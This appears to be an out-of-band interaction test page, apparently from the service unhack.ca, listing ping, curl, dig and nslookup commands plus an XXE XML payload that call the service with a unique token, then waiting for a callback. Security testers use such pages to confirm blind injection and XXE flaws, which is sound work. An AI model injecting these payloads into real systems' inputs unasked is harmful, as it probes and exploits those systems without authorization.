$ ping -c1 -p 000f768ea69b7bb5aeb940d8fc655000 unhack.ca
 
$ curl http://unhack.ca/p/0f768ea69b7bb5aeb940d8fc6550
 
$ dig 0f768ea69b7bb5aeb940d8fc6550 @unhack.ca
 
$ dig 0f768ea69b7bb5aeb940d8fc6550.ns.unhack.ca
 
C:\> nslookup 0f768ea69b7bb5aeb940d8fc6550 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0f768ea69b7bb5aeb940d8fc6550">]>
    <foo>&xxe;</foo>
Waiting for ping...